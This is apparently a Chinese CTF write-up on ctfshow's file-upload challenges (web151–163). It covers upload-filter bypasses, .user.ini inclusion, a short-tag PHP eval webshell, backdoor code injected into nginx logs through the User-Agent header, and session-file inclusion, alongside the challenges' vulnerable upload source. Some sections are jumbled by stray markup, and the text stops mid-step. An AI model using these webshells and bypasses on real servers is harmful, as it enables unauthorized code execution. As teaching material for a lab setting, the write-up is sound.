ctfshow--web入门--文件上传
目录
web151(前端校验)
题目中提示前端检验不可靠,应该对前端检验进行绕过

检查前端代码进行修改,使php文件可以通过前端校验,成功上传后进行命令执行,找到flag

web152(content-type)
通过前端校验后上传php文件显示文件类型不合规

尝试抓包修改content-type,根据数据包回显得知上传成功。

访问后门文件代码执行得到flag
web153(.user.ini)
直接上传php文件显示文件类型不合规,尝试修改content-type上传不成功,上传php3
后缀服务器不能解析
尝试访问upload文件夹,发现upload文件夹有默认索引,具有index.php文件,那么可以利用.user.ini文件来进行上传
具体user.ini知识点参考.htaccess 和.user.ini 配置文件妙用
.user.ini文件其实就是一个局部配置文件,可以通过配置选项使每个php文件头或文件尾都进行文件包含- auto_prepend_file = <filename> //包含在文件头
- auto_append_file = <filename> //包含在文件尾
复制代码
通过.user.ini使得upload文件夹下每个php文件在文件头都包含1.png文件
构造图片马1.png进行上传,由于.user.ini使得upload下index.php包含所上传的图片马,直接访问index.php进行命令执行即可得到falg
web154(内容检测'php')
大致步骤与153题一样。在上传的时候发现图片马上传不了,经过测试发现对图片内容中的php做了处理,那么在图片马中可以采用php其他风格得写法,如短标签等。具体可以参考PHP四种标记风格
web155(内容检测'php')
同上
web156(内容检测'[')
源码检测了php和[,采用短标记和大括号替代- [/code]使用=短标签绕过php检测
- @不提示报错信息
- eval()把内容当作php语句执行
- array_pop()将数组中最后一个元素取出并删除
- 使用$_POST接受任意变量
- 使用该文件并不能获取shell,只能通过POST提交数据进行代码执行
- 代码执行过程
- [img]https://img-blog.csdnimg.cn/96c07d52a13d4d6a9d4e80143ba28615.png[/img]
- [img]https://img-blog.csdnimg.cn/b27ff234502f4181a1a25dce963c8ae7.png[/img]
- [img]https://img-blog.csdnimg.cn/2debde696a5547428ffe630f5279b17b.png[/img]
- [size=5]web158(文件检测'php''{''['';''log')[/size]
- 得到flag方式与上题一致
- 通过执行命令
- [code]<?= @eval(array_pop($_POST))?>
复制代码 将源码复制到1.txt得到源码- [/code][img]https://img-blog.csdnimg.cn/9f122ec6a87641c1aec5a934ff1ea85d.png[/img]
- 上传后访问upload查看是否包含了日志文件,再构造UA头对日志文件中插入后门代码,再次查看成功插入后门代码
- [img]https://img-blog.csdnimg.cn/d4964c89fb284b30ad4450024f6d08b9.png[/img]
- 蚁剑连接得到flag
- [code]<?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-10-24 19:34:52
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-10-26 15:49:51
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- error_reporting(0);
- if ($_FILES["file"]["error"] > 0)
- {
- $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
- }
- else
- {
- $filename = $_FILES["file"]["name"];
- $filesize = ($_FILES["file"]["size"] / 1024);
- if($filesize>1024){
- $ret = array("code"=>1,"msg"=>"文件超过1024KB");
- }else{
- if($_FILES['file']['type'] == 'image/png'){
- $arr = pathinfo($filename);
- $ext_suffix = $arr['extension'];
- if($ext_suffix!='php'){
- $content = file_get_contents($_FILES["file"]["tmp_name"]);
- if(stripos($content, "php")===FALSE && check($content)){
- move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
- $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
- }else{
- $ret = array("code"=>2,"msg"=>"文件类型不合规");
- }
-
- }else{
- $ret = array("code"=>2,"msg"=>"文件类型不合规");
- }
-
- }else{
- $ret = array("code"=>2,"msg"=>"文件类型不合规");
- }
-
- }
- }
- function check($str){
- return !preg_match('/pghp|\{|\[|\;|log/i', $str);
- }
- echo json_encode($ret);
复制代码 其余操作与上一关一致,通过修改UA头将后门代码写入日志,然后连接后门
web161(日志文件头检测)
在上传.user.ini文件时,经过检测发现对文件头进行检测,所以在上传所有文件时都要加上图片格式的文件头
POC:- <? include "/var/lo"."g/nginx/access.lo"."g"?>
复制代码 其余利用方式与上一关一致
这一关是关于getimagesize函数绕过
web162&&web163(session包含)
在上传.user.ini文件时,经过检测发现对'.'进行了检测,那么只能采用包含session文件的方法
.user.ini文件内容为- <?php
- /*
- # -*- coding: utf-8 -*-
- # @Author: h1xa
- # @Date: 2020-10-24 19:34:52
- # @Last Modified by: h1xa
- # @Last Modified time: 2020-10-26 15:49:51
- # @email: h1xa@ctfer.com
- # @link: https://ctfer.com
- */
- error_reporting(0);
- if ($_FILES["file"]["error"] > 0)
- {
- $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
- }
- else
- {
- $filename = $_FILES["file"]["name"];
- $filesize = ($_FILES["file"]["size"] / 1024);
- if($filesize>1024){
- $ret = array("code"=>1,"msg"=>"文件超过1024KB");
- }else{
- if($_FILES['file']['type'] == 'image/png'){
- $arr = pathinfo($filename);
- $ext_suffix = $arr['extension'];
- if($ext_suffix!='php'){
- $content = file_get_contents($_FILES["file"]["tmp_name"]);
- if(stripos($content, "php")===FALSE && check($content)){
- move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
- $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
- }else{
- $ret = array("code"=>2,"msg"=>"文件类型不合规");
- }
-
- }else{
- $ret = array("code"=>2,"msg"=>"文件类型不合规");
- }
-
- }else{
- $ret = array("code"=>2,"msg"=>"文件类型不合规");
- }
-
- }
- }
- function check($str){
- return !preg_match('/php|\{|\[|\;|log|\(/i', $str);
- }
- echo json_encode($ret);
复制代码 这样可以跳过上传图片马作为包含文件的跳板,直接使upload下的index.php文件包含session文件
需要编写一个向目标地址发送POST请求创建session文件的文件上传网页
[code] |